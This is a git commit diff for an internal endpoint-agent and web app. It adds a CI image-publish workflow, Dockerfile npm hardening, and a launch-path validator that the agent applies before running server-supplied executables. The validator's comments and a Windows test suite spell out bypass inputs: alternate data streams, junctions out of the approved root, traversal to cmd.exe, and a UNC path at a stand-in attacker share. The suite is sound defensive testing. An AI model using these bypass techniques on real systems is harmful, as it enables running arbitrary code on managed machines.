Merge the wilm work, act on the five-agent review, verify the launch-path policy on Windows

This commit is contained in:
2026-09-02 16:15:53 -04:00
parent 2144305433
commit bb733f1332
84 changed files with 7107 additions and 186 deletions

93
.github/workflows/publish-images.yml vendored Normal file
View File

@@ -0,0 +1,93 @@
# Build and publish per-channel container images to GHCR.
#
# WHY this exists: pilot dev workstations sit behind an inspecting proxy
# (Zscaler) that resets npm's many small fetches mid-install, so building the
# image FROM SOURCE on a pilot box is unreliable. These runners
# (arc-runner-set) install npm cleanly - the CI `frontend` job already proves
# it - so we build the image ONCE here and pilots pull the finished image.
# A single image pull is one resumable HTTPS stream, far more robust through
# the proxy than hundreds of npm requests.
#
# Channels are mapped to how THIS repo actually ships, which is not how the
# branch this came from ships. Upstream, main is a release branch and dev-be is
# the trunk. Here main IS the trunk - it runs hundreds of commits past the last
# release - and releases are tags (ADR-007). Publishing main as :stable would
# put unreleased work behind a word that promises the opposite, to sites that
# have no way to know:
#
# tag v* -> ghcr.io/<owner>/shopdb-flask:stable (badge off) the release
# main -> ghcr.io/<owner>/shopdb-flask:edge (DEV badge) the trunk
#
# The image also carries a short-SHA tag for traceability and rollback.
#
# Automatic publishing is OFF until someone confirms the GHCR package exists
# under this owner and decides who may pull it. Re-enable by uncommenting the
# push: block below; workflow_dispatch works meanwhile.
name: publish-images
on:
# push:
# tags:
# - 'v*'
# branches:
# - main
# Manual rebuild/publish of the current ref's channel image.
workflow_dispatch:
# One in-flight publish per branch; a newer push supersedes an older one.
concurrency:
group: publish-images-${{ github.ref }}
cancel-in-progress: true
jobs:
build-and-push:
runs-on: arc-runner-set
permissions:
contents: read
packages: write
steps:
- uses: actions/checkout@v5
# Lowercase the owner: GHCR repository paths must be lowercase, but
# github.repository_owner can carry uppercase (e.g. ge-aero is fine, but
# this keeps the workflow correct for any owner casing).
- name: Resolve image name and channel tag
id: meta
run: |
owner="$(echo '${{ github.repository_owner }}' | tr '[:upper:]' '[:lower:]')"
image="ghcr.io/${owner}/shopdb-flask"
# A tag is a release, anything else is the trunk. Deliberately not
# keyed on the branch name: a release here is a tag, so keying on
# "main" would label the trunk stable.
if [ "${{ github.ref_type }}" = "tag" ]; then
channel="stable"
else
channel="edge"
fi
echo "image=${image}" >> "$GITHUB_OUTPUT"
echo "channel=${channel}" >> "$GITHUB_OUTPUT"
echo "sha=$(git rev-parse --short HEAD)" >> "$GITHUB_OUTPUT"
- name: Log in to GHCR
uses: docker/login-action@v3
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Set up Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push channel image
uses: docker/build-push-action@v6
with:
context: .
push: true
tags: |
${{ steps.meta.outputs.image }}:${{ steps.meta.outputs.channel }}
${{ steps.meta.outputs.image }}:${{ steps.meta.outputs.channel }}-${{ steps.meta.outputs.sha }}
# Reuse the channel tag as a cache source/target so subsequent builds
# only redo layers that actually changed.
cache-from: type=registry,ref=${{ steps.meta.outputs.image }}:${{ steps.meta.outputs.channel }}
cache-to: type=inline

4
.gitignore vendored
View File

@@ -132,9 +132,13 @@ docker_build.txt
docker_up.txt
gates_out.txt
pytest_targeted.txt
pt*.txt
alandry.py
kendry.py
# Visual Studio local editor state (not product source).
.vs/
# Scratch tooling under scripts/ (catalog diff/merge helpers, docx generator).
# Not product source; developer-local utilities.
scripts/.temp/

View File

@@ -38,11 +38,40 @@ RUN if [ -f /tmp/corpca/corp-root-ca.pem ]; then \
cp /tmp/corpca/corp-root-ca.pem /usr/local/share/ca-certificates/corp-root-ca.crt && \
update-ca-certificates; \
fi
ENV NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/corp-root-ca.crt
# Copy only the manifests first so `npm ci` caches on dependency changes.
COPY frontend/package*.json ./frontend/
RUN cd frontend && npm ci
# Trust the corp CA for npm's TLS only when it was actually installed above. The
# guard keeps NODE_EXTRA_CA_CERTS unset on a clean checkout (no cert), so Node
# does not warn about a missing cert path; a proxy-inspected build still gets
# the cert because the file is present.
# Install the frontend dependencies. vite and the rest of the build toolchain
# live under devDependencies, so include them explicitly (--include=dev).
# Behind an inspecting proxy (Zscaler) each package fetch is slow (40-50s) and
# npm's default concurrency piles up parallel sockets that the proxy resets
# mid-stream, making npm abort with "Exit handler never called" and leaving an
# incomplete node_modules with no vite. Serializing to a single socket
# (maxsockets 1) lets every fetch complete; the retry loop and raised timeouts
# ride out any remaining transient reset, and the final test hard-verifies the
# toolchain landed so a truncated install fails loudly here rather than as a
# confusing "vite: not found" three steps later.
RUN if [ -f /usr/local/share/ca-certificates/corp-root-ca.crt ]; then \
export NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/corp-root-ca.crt; \
fi; \
cd frontend && \
npm config set fetch-retries 5 && \
npm config set fetch-retry-factor 2 && \
npm config set fetch-retry-mintimeout 20000 && \
npm config set fetch-retry-maxtimeout 120000 && \
npm config set fetch-timeout 600000 && \
npm config set maxsockets 1 && \
( npm ci --include=dev --no-audit --no-fund \
|| { echo "npm ci attempt 1 failed, retrying..."; sleep 5; npm ci --include=dev --no-audit --no-fund; } \
|| { echo "npm ci attempt 2 failed, retrying..."; sleep 10; npm ci --include=dev --no-audit --no-fund; } ) && \
test -x node_modules/.bin/vite || { \
echo "ERROR: node_modules/.bin/vite missing after npm ci (proxy likely truncated the install)."; \
exit 1; \
}
# The frontend keeps its repo-relative layout here, because npm prebuild runs
# `node ../scripts/stage-frontend.mjs`, which stages each plugin's frontend/ into
@@ -54,7 +83,10 @@ COPY scripts/stage-frontend.mjs ./scripts/
COPY plugins/ ./plugins/
COPY frontend/ ./frontend/
RUN cd frontend && npm run build
RUN if [ -f /usr/local/share/ca-certificates/corp-root-ca.crt ]; then \
export NODE_EXTRA_CA_CERTS=/usr/local/share/ca-certificates/corp-root-ca.crt; \
fi; \
cd frontend && npm run build
# Output lands in /build/frontend/dist (Vite default), copied into the final
# stage below.

View File

@@ -34,14 +34,23 @@ public sealed class AgentConfig
[JsonPropertyName("monitors")] public MonitorConfig Monitors { get; set; } = new();
// Per-image launchable paths for the generic process_start action. The wire
// never carries a path (that would be a code-execution hole); Start sends
// only the image name and the agent maps it here to a known-good executable
// historically never carried a path; now a server-provisioned monitor MAY
// carry one, but the agent only accepts it after LaunchPathPolicy validates
// it against ApprovedLaunchRoots (see below). Start otherwise sends only the
// image name and the agent maps it here to a known-good executable
// (or a .bat launcher). Anything not in the resolved map fails closed. A
// site overrides or extends the shipped defaults in appsettings.json without
// a rebuild. Keyed by process image name (case-insensitive, .exe optional).
[JsonPropertyName("launchpaths")]
public Dictionary<string, string> LaunchPaths { get; set; } = new();
// Approved root directories a server-provisioned launch path must sit under
// before the agent will honor it. Empty = fall back to LaunchPathPolicy's
// shipped org defaults (Program Files roots). A site (or the future Site
// Agent Configuration tool) can widen or narrow this without a rebuild.
[JsonPropertyName("approvedlaunchroots")]
public List<string> ApprovedLaunchRoots { get; set; } = new();
// Shipped defaults for the org's common shop-floor apps. A site's
// appsettings.json LaunchPaths entries win over these on a per-image basis.
// MTConnect is intentionally absent here: it is a Windows service controlled
@@ -162,6 +171,42 @@ public sealed class MonitorConfig
[JsonPropertyName("services")] public MonitorTarget[] Services { get; set; }
= Array.Empty<MonitorTarget>();
// Union the local (appsettings.json) watch list with the server-resolved one,
// keyed case-insensitively by wire name so a target watched both locally and
// by policy is not enumerated twice. Server entries win on the label (App) so
// a policy display name overrides a stale local one, but a local-only target
// is preserved - the server list augments, it does not replace. Nulls on
// either side degrade to the other, which is what keeps monitoring alive when
// a fetch fails.
public static MonitorConfig Merge(MonitorConfig? local, ResolvedMonitors? server)
{
return new MonitorConfig
{
Processes = MergeTargets(local?.Processes, server?.Processes),
Services = MergeTargets(local?.Services, server?.Services),
};
}
private static MonitorTarget[] MergeTargets(
MonitorTarget[]? local, MonitorTarget[]? server)
{
var byName = new Dictionary<string, MonitorTarget>(
StringComparer.OrdinalIgnoreCase);
foreach (var target in local ?? Array.Empty<MonitorTarget>())
{
if (string.IsNullOrWhiteSpace(target?.Name))
continue;
byName[target.Name.Trim()] = target;
}
foreach (var target in server ?? Array.Empty<MonitorTarget>())
{
if (string.IsNullOrWhiteSpace(target?.Name))
continue;
byName[target.Name.Trim()] = target;
}
return byName.Values.ToArray();
}
}
public sealed class MonitorTarget
@@ -172,4 +217,13 @@ public sealed class MonitorTarget
// Human-facing application label, optional. Falls back to Name when empty.
[JsonPropertyName("app")] public string App { get; set; } = "";
// Optional server-provisioned launch path for a process monitor. Only set on
// process targets that a site leader configured a path for. The agent NEVER
// launches this blindly: LaunchPathPolicy validates it against an approved-
// root allowlist first, and a local appsettings.json launchpaths entry for
// the same image still wins. Null/empty means "no server path" - the agent
// falls back to its local launch map, and process_start fails closed when
// neither yields a validated path.
[JsonPropertyName("launchpath")] public string? LaunchPath { get; set; }
}

View File

@@ -34,7 +34,15 @@ public sealed class AgentFaultMonitor
}
public void ReportFatal(string context, Exception error)
=> Report(EventLogEntryType.Error, 1000, $"{context}: {error}");
{
// File log first, always: the Event Log sink below is admin-gated (the
// source cannot be created without elevation), so an unelevated run such
// as the tray-launched --once/--report path would otherwise fail with no
// trace anywhere. The rolling file log is the one sink guaranteed to work
// in every context.
logger.LogError(error, "Fatal in {Context}", context);
Report(EventLogEntryType.Error, 1000, $"{context}: {error}");
}
private void OnUnhandledException(object sender, UnhandledExceptionEventArgs args)
{

View File

@@ -89,6 +89,42 @@ public sealed class CollectorClient : IDisposable
return envelope.Data;
}
// Fetch the server-resolved watch list (policy-attached processes/services)
// for this hostname, GET /api/endpoints/monitors/resolved. Shares the same
// X-API-Key credential as telemetry. Best-effort: returns null on any
// failure so the caller falls back to the last-known/local list rather than
// blanking monitoring on a transient blip. A single attempt, no retry - the
// next telemetry cycle retries naturally, and a stale-but-usable watch list
// beats an empty one.
public async Task<ResolvedMonitors?> FetchResolvedMonitorsAsync(
string hostname, CancellationToken token)
{
var url = "api/endpoints/monitors/resolved?hostname="
+ Uri.EscapeDataString(hostname);
try
{
using var response = await http.GetAsync(url, token);
var body = await response.Content.ReadAsStringAsync(token);
if (!response.IsSuccessStatusCode)
{
logger.LogWarning(
"Resolved-monitors fetch returned HTTP {Status}: {Body}",
(int)response.StatusCode, body);
return null;
}
var envelope = JsonSerializer.Deserialize<ResolvedMonitorsEnvelope>(
body, JsonOptions);
return envelope?.Data;
}
catch (Exception error) when (
error is HttpRequestException or TaskCanceledException or JsonException
&& !token.IsCancellationRequested)
{
logger.LogWarning(error, "Resolved-monitors fetch failed; keeping current watch list");
return null;
}
}
private TimeSpan BackoffDelay(int attempt)
{
// 2^(attempt-1) seconds, capped, plus up to 1s jitter.
@@ -96,6 +132,53 @@ public sealed class CollectorClient : IDisposable
return TimeSpan.FromSeconds(seconds + jitter.NextDouble());
}
// Uploads one operator issue report (free-text reason/details plus an
// optional PNG screenshot) to POST /api/endpoints/operatorreports as
// multipart/form-data, authorized by the same X-API-Key collector key as
// telemetry. The server resolves this hostname to its asset. A single
// attempt: the tray shows the operator the outcome and can retry by hand,
// and a stuck retry loop holding a screenshot in memory is worse than a
// clear failure. Returns the parsed upload response (new row id) or throws.
public async Task<OperatorReportUploadResponse?> UploadOperatorReportAsync(
string reason, string details, string? screenshotPath, string hostname,
CancellationToken token)
{
using var form = new MultipartFormDataContent();
form.Add(new StringContent(reason ?? string.Empty), "reason");
form.Add(new StringContent(details ?? string.Empty), "details");
form.Add(new StringContent(hostname ?? string.Empty), "hostname");
StreamContent? imageContent = null;
FileStream? imageStream = null;
try
{
if (!string.IsNullOrWhiteSpace(screenshotPath) && File.Exists(screenshotPath))
{
imageStream = File.OpenRead(screenshotPath);
imageContent = new StreamContent(imageStream);
imageContent.Headers.ContentType =
new System.Net.Http.Headers.MediaTypeHeaderValue("image/png");
form.Add(imageContent, "screenshot",
Path.GetFileName(screenshotPath));
}
using var response = await http.PostAsync(
"api/endpoints/operatorreports", form, token);
var body = await response.Content.ReadAsStringAsync(token);
if (!response.IsSuccessStatusCode)
throw new CollectorException((int)response.StatusCode, body);
var envelope = JsonSerializer.Deserialize<OperatorReportUploadEnvelope>(
body, JsonOptions);
return envelope?.Data;
}
finally
{
imageContent?.Dispose();
imageStream?.Dispose();
}
}
public void Dispose() => http.Dispose();
}

View File

@@ -22,12 +22,26 @@ public sealed class CommandClient : IDisposable
};
private readonly HttpClient http;
private readonly SocketsHttpHandler handler;
private readonly ILogger<CommandClient> logger;
public CommandClient(AgentConfig config, ILogger<CommandClient> logger)
{
this.logger = logger;
http = new HttpClient
// The command channel long-polls: the server holds each claim open for a
// hold window and then, between windows, the pooled TLS connection sits
// idle. Gunicorn's keep-alive closes an idle socket after a couple of
// seconds, so a connection reused after that yields "unexpected EOF or 0
// bytes from the transport stream" on the next TLS handshake. Retire
// pooled connections faster than the server's keep-alive so a socket the
// server has already dropped is never handed back out; the lifetime cap
// is a hard backstop so no connection lingers indefinitely.
handler = new SocketsHttpHandler
{
PooledConnectionIdleTimeout = TimeSpan.FromSeconds(1),
PooledConnectionLifetime = TimeSpan.FromMinutes(2),
};
http = new HttpClient(handler, disposeHandler: true)
{
BaseAddress = new Uri(config.BaseUrl.TrimEnd('/') + "/"),
// Longer than the collector client: the claim request is held open

View File

@@ -56,9 +56,14 @@ public sealed class CommandExecutor
// Resolved per-image launchable paths for process_start (shipped defaults
// overlaid with any appsettings.json overrides). A target absent from this
// map cannot be started - process_start fails closed.
// map - and without a validated server-provisioned path - cannot be started,
// so process_start fails closed.
private readonly IReadOnlyDictionary<string, string> launchPaths;
// Validates server-provisioned launch paths (from policy-attached monitors)
// before they are honored. Local launchPaths always win over a server path.
private readonly LaunchPathPolicy launchPathPolicy;
// Held for update_app: the agent joins InstallPath to BaseUrl and downloads
// the pinned installer with its own collector credential (ApiKey), so the
// installer body never rides the command wire.
@@ -71,6 +76,7 @@ public sealed class CommandExecutor
this.startTimeout = startTimeout ?? TimeSpan.FromSeconds(30);
this.config = config ?? new AgentConfig();
this.launchPaths = this.config.ResolveLaunchPaths();
this.launchPathPolicy = new LaunchPathPolicy(this.config.ApprovedLaunchRoots);
}
public async Task<CommandResult> ExecuteAsync(
@@ -366,8 +372,8 @@ public sealed class CommandExecutor
if (bare.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
bare = bare[..^4];
if (!launchPaths.TryGetValue(bare, out var launchPath)
|| string.IsNullOrWhiteSpace(launchPath))
var launchPath = ResolveLaunchPath(bare, image);
if (string.IsNullOrWhiteSpace(launchPath))
{
logger.LogWarning(
"Rejected process_start for {Image}: no launchable path configured",
@@ -452,6 +458,62 @@ public sealed class CommandExecutor
}
}
// Resolves the launchable path for a process image. Precedence:
// 1. Local launch map (shipped defaults + appsettings.json). A site pin
// always wins so a server value never silently overrides it.
// 2. A server-provisioned path on the matching process monitor, but only
// after LaunchPathPolicy validates it (approved root, exists, launchable
// extension). A rejected server path is logged and dropped - the caller
// then fails closed exactly as before.
// Returns null when neither source yields a usable path.
private string? ResolveLaunchPath(string bareImage, string image)
{
if (launchPaths.TryGetValue(bareImage, out var localPath)
&& !string.IsNullOrWhiteSpace(localPath))
{
return localPath;
}
var serverPath = ServerLaunchPathFor(image, bareImage);
if (string.IsNullOrWhiteSpace(serverPath))
return null;
if (launchPathPolicy.TryValidate(serverPath, out var validated, out var reason))
return validated;
logger.LogWarning(
"Rejected server-provisioned launch path for {Image} ({Path}): {Reason}",
image, serverPath, reason);
return null;
}
// Finds the server-provisioned launch path carried on the process monitor
// whose wire name matches the image (case-insensitive, .exe optional).
private string? ServerLaunchPathFor(string image, string bareImage)
{
var processes = config.Monitors?.Processes;
if (processes is null)
return null;
foreach (var target in processes)
{
if (string.IsNullOrWhiteSpace(target?.Name)
|| string.IsNullOrWhiteSpace(target.LaunchPath))
continue;
var name = target.Name.Trim();
var bareName = name.EndsWith(".exe", StringComparison.OrdinalIgnoreCase)
? name[..^4]
: name;
if (string.Equals(name, image, StringComparison.OrdinalIgnoreCase)
|| string.Equals(bareName, bareImage, StringComparison.OrdinalIgnoreCase))
{
return target.LaunchPath;
}
}
return null;
}
private bool IsProcessRunning(string image)
{
var processes = FindProcessesByImage(image);

View File

@@ -72,6 +72,20 @@ public sealed class CollectorEnvelope
[JsonPropertyName("data")] public CollectorResponse? Data { get; set; }
}
// Server response to an operator issue report upload. Carries the new row id so
// the agent can log it for correlation.
public sealed class OperatorReportUploadResponse
{
[JsonPropertyName("operatorreportid")] public int? OperatorReportId { get; set; }
[JsonPropertyName("assetid")] public int? AssetId { get; set; }
}
public sealed class OperatorReportUploadEnvelope
{
[JsonPropertyName("status")] public string Status { get; set; } = "";
[JsonPropertyName("data")] public OperatorReportUploadResponse? Data { get; set; }
}
// A command the server claimed for this endpoint on the long-poll. The
// allowlisted action name crosses the wire (see AGENT-CONTRACT.md section 7);
// generic actions (service_* / process_*) also carry the subject to act on -
@@ -147,3 +161,24 @@ public sealed class CommandResult
[JsonPropertyName("mtconnectrunning")] public bool? MtConnectRunning { get; set; }
[JsonPropertyName("detail")] public Dictionary<string, object>? Detail { get; set; }
}
// The server-resolved watch list for this endpoint (processes and services the
// site's policy attaches to the box's PC type), fetched each telemetry cycle so
// a policy-attached monitor is enumerated without editing appsettings.json on
// the box. Same {name, app} shape as the local MonitorConfig, so the merge is a
// direct list union. Empty lists mean "watch nothing extra beyond local".
public sealed class ResolvedMonitors
{
[JsonPropertyName("processes")] public MonitorTarget[] Processes { get; set; }
= Array.Empty<MonitorTarget>();
[JsonPropertyName("services")] public MonitorTarget[] Services { get; set; }
= Array.Empty<MonitorTarget>();
}
// Envelope for the resolved-monitors route: { status, data: { processes, services } }.
public sealed class ResolvedMonitorsEnvelope
{
[JsonPropertyName("status")] public string Status { get; set; } = "";
[JsonPropertyName("data")] public ResolvedMonitors? Data { get; set; }
}

View File

@@ -0,0 +1,238 @@
using System.Text.Json.Serialization;
namespace ShopDbEndpointAgent.Core;
// Guards server-provisioned launch paths. Historically the command wire never
// carried a launch path at all - the agent mapped an image name to a known-good
// local path and anything else failed closed. Server-provisioned monitors now
// MAY carry a path a site leader set in the WebUI, which is a deliberate
// relaxation of that invariant. This policy is the replacement safeguard: a
// server path is only honored when it sits under an approved root, actually
// exists, and is an approved executable type. Everything else is rejected and
// the agent falls back to its local launch map (still fail closed).
//
// The approved-root list is org-opinionated with shipped defaults (the Windows
// Program Files roots), overridable per site via AgentConfig.ApprovedLaunchRoots
// so the future Site Agent Configuration tool can widen or narrow it without a
// rebuild. A local appsettings.json launchpaths entry still wins over any
// server path, so a site pin is never silently overridden.
public sealed class LaunchPathPolicy
{
// Only these extensions are launchable. .bat is included because some shop-
// floor apps ship a launcher script (see the eDNC/UDC run.bat pattern).
private static readonly string[] ApprovedExtensions =
{ ".exe", ".bat", ".cmd" };
// Shipped org defaults: the standard 64- and 32-bit install roots. Resolved
// from the environment so a non-C: system drive still matches.
public static IReadOnlyList<string> DefaultApprovedRoots { get; } =
BuildDefaultRoots();
private readonly IReadOnlyList<string> approvedRoots;
public LaunchPathPolicy(IEnumerable<string>? approvedRootsOverride = null)
{
var roots = (approvedRootsOverride ?? Enumerable.Empty<string>())
.Where(root => !string.IsNullOrWhiteSpace(root))
.Select(NormalizeRoot)
.ToList();
approvedRoots = roots.Count > 0 ? roots : DefaultApprovedRoots;
}
// Result of validating a candidate path: the normalized full path when it is
// acceptable, or a human-readable reason when it is rejected.
public bool TryValidate(string? candidate, out string fullPath, out string reason)
{
fullPath = "";
reason = "";
if (string.IsNullOrWhiteSpace(candidate))
{
reason = "empty path";
return false;
}
string resolved;
try
{
resolved = Path.GetFullPath(candidate.Trim());
}
catch (Exception ex)
{
reason = $"not a valid path: {ex.Message}";
return false;
}
// Reject an alternate data stream before anything else looks at the
// path. On .NET Framework an interior colon made GetFullPath throw; on
// net8.0 it does not, so "readme.txt:payload.exe" survives, reports an
// .exe extension, passes the root check, and File.Exists returns true
// for the stream. CreateProcess will run it. Write access to any
// existing file under an approved root would otherwise be enough.
var lastSegment = Path.GetFileName(resolved);
if (lastSegment.Contains(':'))
{
reason = "path names an alternate data stream";
return false;
}
var extension = Path.GetExtension(resolved);
if (!ApprovedExtensions.Contains(extension, StringComparer.OrdinalIgnoreCase))
{
reason = $"extension '{extension}' is not launchable";
return false;
}
if (!IsUnderApprovedRoot(resolved))
{
reason = "path is outside every approved launch root";
return false;
}
if (!File.Exists(resolved))
{
reason = "file does not exist";
return false;
}
// Everything above is LEXICAL: GetFullPath is pure string normalization
// and never touches the disk, so the root check so far constrains the
// name, not the file. File.Exists follows reparse points, which means a
// junction anywhere under an approved root pointed the check at one
// place and the execution at another. Creating a junction needs no
// privilege, only write access to the parent - and vendor install trees
// under Program Files are not reliably locked down.
//
// So resolve what the path actually refers to and re-check THAT. A
// resolve failure rejects: this is the last gate before the agent runs
// the file.
string finalPath;
try
{
finalPath = ResolveFinalPath(resolved);
}
catch (Exception ex)
{
reason = $"cannot resolve the real path: {ex.Message}";
return false;
}
if (!IsUnderApprovedRoot(finalPath))
{
reason = "path resolves outside every approved launch root";
return false;
}
fullPath = finalPath;
return true;
}
// The path with every symlink and junction on it followed, so the caller
// checks the file that will actually execute. The leaf is resolved first,
// then the directory chain above it - a junction is usually placed on a
// DIRECTORY, so resolving only the leaf would miss the case this exists to
// catch.
private static string ResolveFinalPath(string resolved)
{
string? name;
try
{
name = System.IO.File.ResolveLinkTarget(resolved, returnFinalTarget: true)?.FullName;
}
catch
{
name = null;
}
if (!string.IsNullOrWhiteSpace(name))
{
// ResolveLinkTarget resolves the file itself; run it back through
// GetFullPath so the comparison sees the same shape as the roots.
return Path.GetFullPath(name);
}
// Not a link. Its directory chain still might be, so resolve that.
var directory = Path.GetDirectoryName(resolved);
if (string.IsNullOrEmpty(directory))
return resolved;
var realDirectory = ResolveDirectoryChain(directory);
return Path.GetFullPath(Path.Combine(realDirectory, Path.GetFileName(resolved)));
}
// Walk up the directory chain resolving any junction or symlink on it. A
// junction is usually placed on a DIRECTORY, not on the executable, so
// resolving only the leaf would miss the case this exists to catch.
private static string ResolveDirectoryChain(string directory)
{
// Stop at the volume root. Walking into it and asking whether "C:\" is
// a link throws DirectoryNotFoundException, which the caller turned
// into a rejection - so the first version of this rejected every
// legitimate path as well as the malicious ones. A fail-closed gate
// that also fails the normal case is just an outage. Caught in the VM,
// not here.
var parent = Path.GetDirectoryName(directory);
if (string.IsNullOrEmpty(parent) || parent == directory)
return directory;
var resolvedDirectory = TryResolveLink(directory);
if (resolvedDirectory is not null)
return resolvedDirectory;
var realParent = ResolveDirectoryChain(parent);
return realParent == parent
? directory
: Path.Combine(realParent, Path.GetFileName(directory));
}
// A component's link target, or null when it is not a link OR cannot be
// asked. Never throws: "cannot tell" must not be reported as "is a link",
// and the caller re-checks the assembled path against the roots regardless,
// so an unresolvable component cannot widen what is accepted.
private static string? TryResolveLink(string path)
{
try
{
var target = System.IO.Directory
.ResolveLinkTarget(path, returnFinalTarget: true)?.FullName;
return string.IsNullOrWhiteSpace(target) ? null : target;
}
catch
{
return null;
}
}
private bool IsUnderApprovedRoot(string resolved)
{
foreach (var root in approvedRoots)
{
// Compare against root + separator so "C:\Program Files" does not
// also match "C:\Program FilesEvil\...". Case-insensitive on Windows.
var prefix = root.EndsWith(Path.DirectorySeparatorChar)
? root
: root + Path.DirectorySeparatorChar;
if (resolved.StartsWith(prefix, StringComparison.OrdinalIgnoreCase))
return true;
}
return false;
}
private static string NormalizeRoot(string root)
{
var full = Path.GetFullPath(root.Trim());
return full.TrimEnd(Path.DirectorySeparatorChar);
}
private static IReadOnlyList<string> BuildDefaultRoots()
{
var candidates = new[]
{
Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles),
Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86),
};
return candidates
.Where(path => !string.IsNullOrWhiteSpace(path))
.Select(NormalizeRoot)
.Distinct(StringComparer.OrdinalIgnoreCase)
.ToList();
}
}

View File

@@ -0,0 +1,52 @@
using System.Text.Json;
using System.Text.Json.Serialization;
namespace ShopDbEndpointAgent.Core;
// The on-disk hand-off between the interactive tray (which captures the
// operator's screen and notes) and the headless service binary (which holds the
// collector key and performs the upload). The tray writes this JSON sidecar to a
// per-run temp folder and invokes `shopdbagent.exe --report <path>`; the agent
// reads it, uploads, and deletes the folder. Keeping the secret in the service
// preserves the "tray never holds a credential" rule already used by --once.
public sealed class OperatorReportPayload
{
[JsonPropertyName("reason")]
public string Reason { get; set; } = "Other (free text)";
[JsonPropertyName("details")]
public string Details { get; set; } = string.Empty;
// Absolute path to the captured PNG, or null when the operator declined a
// screenshot. Written by the tray into the interactive operator's
// %USERPROFILE%\ShopDBScreenshots folder and passed through as an absolute
// path; the agent reads it verbatim and never re-derives the location (as
// SYSTEM its own profile would resolve elsewhere).
[JsonPropertyName("screenshotpath")]
public string? ScreenshotPath { get; set; }
private static readonly JsonSerializerOptions Options = new()
{
DefaultIgnoreCondition = JsonIgnoreCondition.WhenWritingNull,
WriteIndented = true,
};
public static void Write(string filePath, string reason, string details,
string? screenshotPath)
{
var payload = new OperatorReportPayload
{
Reason = reason,
Details = details,
ScreenshotPath = screenshotPath,
};
File.WriteAllText(filePath, JsonSerializer.Serialize(payload, Options));
}
public static OperatorReportPayload Read(string filePath)
{
var json = File.ReadAllText(filePath);
return JsonSerializer.Deserialize<OperatorReportPayload>(json, Options)
?? throw new InvalidDataException("empty or invalid report payload");
}
}

View File

@@ -96,6 +96,21 @@ public sealed class TelemetryWorker : BackgroundService
// exact production collection path.
public async Task<CollectorResponse> RunOnceAsync(bool adopt, CancellationToken token)
{
// Refresh the watch list from server policy BEFORE collecting so a
// policy-attached monitor (added in the WebUI, never in appsettings.json)
// is enumerated and reported this cycle. Server entries merge over the
// local list; a failed fetch returns null and Merge keeps the local list,
// so monitoring never blanks on a transient blip.
var resolved = await client.FetchResolvedMonitorsAsync(
Environment.MachineName, token);
if (resolved is not null)
{
config.Monitors = MonitorConfig.Merge(config.Monitors, resolved);
logger.LogDebug(
"Watch list refreshed from policy: {Processes} process(es), {Services} service(s)",
config.Monitors.Processes.Length, config.Monitors.Services.Length);
}
var report = collector.Collect(agentVersion, adopt);
if (utilities is not null)

View File

@@ -0,0 +1,97 @@
using ShopDbEndpointAgent.Core;
// Planted-violation suite for LaunchPathPolicy, run on real Windows because the
// cases that matter (junctions, alternate data streams, 8.3 names) are
// filesystem behaviour, not string behaviour. Linux would prove nothing.
//
// Builds its own fixtures under an approved root, so it exercises the same
// shape as a real shop-floor install rather than a synthetic path.
int failures = 0;
void Check(string label, bool expectAccept, string candidate, LaunchPathPolicy policy)
{
var ok = policy.TryValidate(candidate, out var full, out var reason);
var pass = ok == expectAccept;
if (!pass) failures++;
var verdict = pass ? "PASS" : "FAIL";
var got = ok ? $"accepted -> {full}" : $"rejected ({reason})";
Console.WriteLine($"{verdict} {label}");
Console.WriteLine($" want={(expectAccept ? "accept" : "reject")} got={got}");
}
var root = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "LppFixture");
var outside = Path.Combine(Path.GetTempPath(), "LppOutside");
Directory.CreateDirectory(root);
Directory.CreateDirectory(outside);
var policy = new LaunchPathPolicy(new[] { root });
// A real executable inside the approved root.
var good = Path.Combine(root, "good.exe");
File.WriteAllBytes(good, new byte[] { 0x4D, 0x5A });
// The payload the attacker wants run, planted OUTSIDE the approved root.
var payload = Path.Combine(outside, "payload.exe");
File.WriteAllBytes(payload, new byte[] { 0x4D, 0x5A });
// A text file inside the root, to hang an alternate data stream off.
var carrier = Path.Combine(root, "readme.txt");
File.WriteAllText(carrier, "notes");
Console.WriteLine($"approved root : {root}");
Console.WriteLine($"outside dir : {outside}");
Console.WriteLine();
Check("a real exe under the approved root", true, good, policy);
Check("wrong extension", false, carrier, policy);
Check("file that does not exist", false, Path.Combine(root, "nope.exe"), policy);
Check("traversal back out of the root", false,
Path.Combine(root, "..", "..", "Windows", "System32", "cmd.exe"), policy);
Check("UNC path", false, @"\\attacker\share\payload.exe", policy);
Check("sibling directory sharing the root's prefix", false, root + "Evil\\payload.exe", policy);
Check("empty path", false, "", policy);
// --- alternate data stream --------------------------------------------------
try
{
File.WriteAllBytes(carrier + ":payload.exe", new byte[] { 0x4D, 0x5A });
Check("alternate data stream on a file in the root", false,
carrier + ":payload.exe", policy);
}
catch (Exception ex)
{
Console.WriteLine($"SKIP alternate data stream fixture: {ex.Message}");
}
// --- directory junction out of the root ------------------------------------
var junction = Path.Combine(root, "logs");
var mk = System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = $"/c mklink /J \"{junction}\" \"{outside}\"",
UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardError = true,
});
mk!.WaitForExit();
if (mk.ExitCode == 0)
{
Check("exe reached through a junction pointing out of the root", false,
Path.Combine(junction, "payload.exe"), policy);
}
else
{
Console.WriteLine($"SKIP junction fixture: mklink exit {mk.ExitCode} {mk.StandardError.ReadToEnd().Trim()}");
}
// --- 8.3 short name ---------------------------------------------------------
// 8.3 short names used to be rejected, because the lexical prefix check could
// not match "C:\PROGRA~1" against "C:\Program Files" - fail closed, but only by
// accident of not understanding the path. Resolution now expands it to the real
// directory, which IS under the approved root, so accepting is correct: the
// check that matters runs on the resolved path either way.
var shortRoot = Path.Combine(@"C:\PROGRA~1", "LppFixture", "good.exe");
Check("8.3 short name resolving into the approved root", true, shortRoot, policy);
Console.WriteLine();
Console.WriteLine(failures == 0 ? "ALL EXPECTATIONS MET" : $"{failures} EXPECTATION(S) NOT MET");
return failures == 0 ? 0 : 1;

View File

@@ -0,0 +1,33 @@
